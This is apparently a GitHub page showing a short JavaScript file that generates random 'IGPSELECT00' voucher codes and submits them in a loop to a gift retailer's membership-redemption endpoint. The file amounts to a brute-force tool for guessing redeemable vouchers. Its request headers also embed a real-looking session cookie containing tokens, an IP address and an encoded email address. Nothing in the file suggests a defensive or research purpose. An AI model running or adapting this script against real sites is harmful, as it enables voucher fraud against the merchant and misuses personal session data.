-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.js
More file actions
70 lines (62 loc) · 4.04 KB
/
Copy pathindex.js
File metadata and controls
70 lines (62 loc) · 4.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const https = require('https');
const requestHeaders = {
'host': 'www.igp.com',
'content-length': '27',
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
'dnt': '1',
'sec-ch-ua-mobile': '?1',
'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'accept': '*/*',
'x-requested-with': 'XMLHttpRequest',
'sec-ch-ua-platform': 'Android',
'origin': 'https://www.igp.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.igp.com/igp-select',
'accept-encoding': 'gzip, deflate, br, zstd',
'accept-language': 'en-US,en;q=0.9',
'cookie': 'uniqueId=a0d2c1a9-564b-4aae-b0c1-1ebcad6e39ed; tokenid=3e586767-2914-4bf5-a61c-6c3f64dbcb5a; oldtokenid=0c06a231-895b-4188-b8f1-3898c30cb7d7; ab_reco=default; ab_multiple=ab_multiple_var2; ab_product_rank=ab_product_rank_var2; ab_convenience=ab_convenience_var2; ab_pdprevamp=ab_pdprevamp_var2; ab_desc=ab_desc_var2; ab_personalized_search=default; ab_select=ab_select_var2; ab_theme=92; ab_mobile_verify=ab_mobile_verify_var2; __utmzz_igp=utmcsr%3Dgoogle%7Cutmcmd%3Dorganic%7Cutmccn%3D(not%20set)%7Cutmctr%3D(not%20provided); __utmzzses_igp=1; setUtmSource=google; setUtmMedium=organic; setUtmCampaign=(not%20set); setUtmTerm=(not%20provided); setUtmSourceLM=google; setUtmMediumLM=organic; lp=%2Fredeem; ip=49.36.137.102; ipCountry=IN; igp=s%3A0a9919c3-9654-4db4-a97d-3fa81e8d8996.jj80KP4kGx3LEG69cjM5DYExd7JBWGzrs1Q%2FkSBRN2s; _gcl_au=1.1.1055285192.1719833472; __utmzz=utmcsr=google|utmcmd=organic|utmccn=(not set)|utmctr=(not provided); __utmzzses=1; _ga=GA1.1.1293684928.1719833473; _fbp=fb.1.1719833474826.287803470140811707; login-referrer=https%3A%2F%2Fwww.igp.com%2Fredeem; __stripe_mid=1ed79a30-d217-40f9-ae13-259b221f000c6d8628; __stripe_sid=e0aa01c8-2b60-4176-94b1-926376333b50e88f91; __stgeo=IjAi; __stbpnenable=MQ==; __stdf=MA==; __stat=IkJMT0NLIg==; m-cart=0; __stp=eyJ2aXNpdCI6Im5ldyIsInV1aWQiOiJmNDgzNzc2NC1hMjNmLTQxZDQtOGFmYy0wOGVjZjIzMjRhN2IiLCJjayI6Im9tZWVwZDAwOUBnbWFpbC5jb20ifQ==; unbxd.netcoreId=ImJjZWE1ZDY4NmY4ZjdiNDc2ODYxMjM0NjVjZDA1ZWU3YWViZjQ5NTM0MjhlZjlmNThlY2I3MTkxNmM4ZDFmNTci; _ga_YN504ENLFN=GS1.1.1719833473.1.1.1719833534.59.0.0; _uetsid=6cff1970379d11ef8882db19674de95f; _uetvid=6d0089e0379d11efb71a4bbc13034353; cto_bundle=qRGnBl9BJTJCNk95c0M3dldVYmFHdml0JTJCNkVEVHoyU1NHMSUyQm1qaDNVUGlGZ015R01NT3d3TUp1ZiUyQld6Q282aGhvJTJGeEd2R2dwaG9kJTJCaU55VmNDdnZMd0lIb3ZPNFJNRkExeklSV0ppR2dLbElMaEkxN0JPZ0FBdFY4TlljNUFEbVYlMkY3OVAz; __sts=eyJzaWQiOjE3MTk4MzM0NzUxNDIsInR4IjoxNzE5ODMzNTU0MTg1LCJ1cmwiOiJodHRwcyUzQSUyRiUyRnd3dy5pZ3AuY29tJTJGaWdwLXNlbGVjdCIsInBldCI6MTcxOTgzMzU1NDE4NSwic2V0IjoxNzE5ODMzNDc1MTQyLCJwVXJsIjoiaHR0cHMlM0ElMkYlMkZ3d3cuaWdwLmNvbSUyRnJlZGVlbSUyM2FjYy1tZW51IiwicFBldCI6MTcxOTgzMzUyNTM5NiwicFR4IjoxNzE5ODMzNTI1Mzk2fQ=='
};
const generateRandomCode = () => {
const prefix = 'IGPSELECT00';
const suffix = Math.floor(Math.random() * 10000).toString().padStart(4, '0');
return `${prefix}${suffix}`;
};
const validateCode = async (code) => {
return new Promise((resolve, reject) => {
const requestBody = `voucherCode=${code}`;
const options = {
method: 'POST',
hostname: 'www.igp.com',
path: '/igpselect/buyMembershipByVoucher',
headers: requestHeaders
};
const req = https.request(options, (res) => {
let body = '';
res.on('data', (chunk) => {
body += chunk;
});
res.on('end', () => {
const responseBody = JSON.parse(body);
resolve(responseBody);
});
});
req.write(requestBody);
req.end();
req.on('error', (err) => {
reject(err);
});
});
};
export default async function handler(event) {
const codes = Array(10).fill(0).map(() => generateRandomCode());
codes.forEach((code) => {
validateCode(code).then((responseBody) => {
console.log(`${code}: ${responseBody.message}`);
}).catch((error) => {
console.error(error);
});
});
}